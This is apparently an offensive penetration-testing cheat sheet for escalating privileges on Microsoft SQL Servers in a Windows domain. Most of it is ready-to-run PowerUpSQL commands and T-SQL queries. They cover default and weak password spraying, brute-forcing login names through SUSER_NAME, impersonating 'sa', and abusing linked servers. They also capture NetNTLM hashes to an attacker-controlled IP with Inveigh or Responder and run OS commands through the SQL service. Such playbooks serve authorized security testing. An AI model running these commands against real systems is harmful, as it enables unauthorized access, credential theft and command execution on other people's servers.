Privilege Escalation

Initial Foothold

After you find the sql servers in the environment, you should now try to gain initial foothold into those SQL servers. We will try to escalate to a SQL login now.

Default passwords

This command launches a default password test against the SQL server using PowerUpSQL:

>> Get-SQLInstanceDomain | Invoke-SQLAuditDefaultLoginPw
or
>> Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw

Get-SQLInstanceScanUDP | Invoke-SQLAuditWeakLoginPw –> Start the attack from unauthenticated user perspective.
Get-SQLInstanceDomain | Invoke-SQLAuditWeakLoginPw –> Start the attack from domain user perspective.

If you already have a domain set of credentials, this may work on the SQL server. You can test this like so:

>> Get-SQLInstanceScanUDP | Get-SQLConnectionTestThreaded –Username username –Password password (manually)
or
>> Get-SQLInstanceDomain | Get-SQLConnectionTest 
or
>> Get-SQLInstanceLocal | Get-SQLConnectionTest 

MITM

If the SQL server communications are unencrypted, we may be able to inject our own queries and inject our own SQL login: https://gist.github.com/anonymous/edb02df90942dc4df0e41f3cbb78660b

To Sysadmin

After you have gotten initial access to a SQL server.

Blind SQL Login Enumeration

We can begin to list all SQL server logins and try to test weak passwords on those accounts. We can do this with:

SELECT name FROM sys.syslogins
SELECT name FROM sys.server_principals

Note that this only gives a certain subset of sql logins.

To find more sql logins, we can utilize suser_name which returns the principal name for a given principal id. We can find all sql logins by brute forcing the principal ID in the suser_name function.

SELECT SUSER_NAME(1)
SELECT SUSER_NAME(2)
...
SELECT SUSER_NAME(100)
...

We can then being to password spray or brute force these accounts.

This can be automated with PowerUpSQL:

>> Get-SQLFuzzServerLogin –Instance ComputerName\InstanceName

Impersonation

There is a feature in SQL server that allows a less privileged user to impersonate another with more access. For impersonation the queries/commands to be executed are not limited in any way, but for command execution, the database has to be configured as trustworthy.

We cannot enumerate which logins we can impersonate due to our unprivileged nature, but we can check which logins allow impersonation with this:

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals
b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

To manually check if you can impersonate a user(SA in our case), issue these commands:

SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'sa' 
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

Database Links

These are a persistent connection between two SQL servers. They allow server A to communicate with server B and pull data from server B, and vice versa without a user being logged in.

Database links can be configured to run as the current user who’s logged in, but some cases they can be configured to run in another users context, and can lead to privilege escalation if ran as another high privileged user like SA.

To query information to a linked server, we can use OpenQuery. Also note that OpenQuery is available to everyone.

To find linked servers, we can use

EXEC sp_linkedservers

and to perform queries on a SQL server

select version from openquery("linkedserver", 'query')

From there, we can perform queries to see the execution context of the user. If it is privileged like SA. we may be able to get sensitive information or get code execution via xp_cmdshell.

Tools to automate this are: https://www.rapid7.com/db/modules/exploit/windows/mssql/mssql_linkcrawler

UNC Path Injection

If a SQL server grabs a file from a UNC path, The remote file is grabbed under the context of the service account that is running SQL Server. If we can force the user to authenticate to our UNC path, we may be able to capture its NetNTLM hash to either crack or relay it.

If the attack is successful, we will become a DBA or a local admin.

We can use PowerUpSQL and Inveigh for this:

Get-SQLServiceAccountPwHashes -Verbose -TimeOut 20 -CaptureIp attacker_controlled_IP

Or we can setup responder:

sudo responder -I tap0

OS Command Execution

PowerUpSQL

>> $Targets | Invoke-SQLOSCLR -Verbose -Command "Whoami"
>> $Targets | Invoke-SQLOSOle -Verbose -Command "Whoami"
>> $Targets | Invoke-SQLOSR -Verbose -Command "Whoami"

When executing OS commands through SQL Server, those commands are executed in the context of the service account.